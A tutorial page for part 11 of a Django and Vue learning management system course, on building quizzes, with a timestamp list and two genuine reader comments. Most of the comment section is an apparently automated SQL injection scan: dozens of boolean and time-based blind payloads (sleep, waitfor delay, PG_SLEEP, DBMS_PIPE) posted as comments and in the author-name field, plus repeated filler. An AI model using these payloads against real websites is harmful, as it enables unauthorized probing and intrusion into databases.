Part 11 - Quiz - Learning Management System - Django and Vue

Learn how to implement a simple quiz for our Learning Management System using Django and Vue.

Timestamps
00:00 Create database model for quizzes
01:29 Register Quiz in admin and add quiz
03:16 Make a new serializer
04:20 Make a new view
05:54 When opening a quiz, load questions
10:05 Make it possible to answer a quiz
12:37 Disable comments for quizzes

Comments

Lamin | Mar 06, 22 11:24

Hi Stein
I really like the course, and was wondering if you gonna add some more functionality to it? Like customizing the MyAccount page, so the users can see the courses they are enrolled in, the lessons page how to links to YouTube video lessons, to have paid courses and free courses, maybe a teachers page so the teacher can see all the students and which courses they’re enrolled on. Just feel like it was a great course but missing some more functionalities.


Stein Ove Helset | Mar 15, 22 07:13

Hello, nice to see you here too :-D I will add more functionality later yes ;-)

EFSArCBy | Jul 02, 26 11:41

555

EFSArCBy | Jul 02, 26 11:44

555

EFSArCBy | Jul 02, 26 11:44

555

EFSArCBy | Jul 02, 26 11:44

-1 OR 2+907-907-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:44

-1 OR 2+71-71-1=0+0+0+1

EFSArCBy | Jul 02, 26 11:44

-1' OR 2+314-314-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:44

-1' OR 2+882-882-1=0+0+0+1 or 'Oafj71NC'='

EFSArCBy | Jul 02, 26 11:44

-1" OR 2+96-96-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:44

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 11:45

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 11:45

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 11:45

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 11:45

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:45

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:45

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:45

5558rdWX0fX'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:45

555-1 OR 195=(SELECT 195 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:45

555-1) OR 24=(SELECT 24 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:45

555-1)) OR 84=(SELECT 84 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:45

555l61VhFSN' OR 313=(SELECT 313 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:45

555FL1wk6Mr') OR 392=(SELECT 392 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:45

555YXILgfez')) OR 533=(SELECT 533 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:45

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 11:45

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555'"

EFSArCBy | Jul 02, 26 11:45

@@N0p1y

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

-1 OR 2+329-329-1=0+0+0+1 -- | Jul 02, 26 11:45

555

-1 OR 2+836-836-1=0+0+0+1 | Jul 02, 26 11:45

555

-1' OR 2+609-609-1=0+0+0+1 -- | Jul 02, 26 11:45

555

-1' OR 2+528-528-1=0+0+0+1 or 'VRUv26U5'=' | Jul 02, 26 11:45

555

-1" OR 2+766-766-1=0+0+0+1 -- | Jul 02, 26 11:45

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:45

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:45

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:45

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:45

555

EFSArCByMRqMvXYu'; waitfor delay '0:0:15' -- | Jul 02, 26 11:45

555

EFSArCByv87t7VnL' OR 619=(SELECT 619 FROM PG_SLEEP(15))-- | Jul 02, 26 11:45

555

EFSArCByHmuHMl8F') OR 639=(SELECT 639 FROM PG_SLEEP(15))-- | Jul 02, 26 11:45

555

EFSArCByxXwZPu05')) OR 83=(SELECT 83 FROM PG_SLEEP(15))-- | Jul 02, 26 11:45

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy'" | Jul 02, 26 11:45

555

@@Z7j8S | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

EFSArCBy | Jul 02, 26 11:45

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.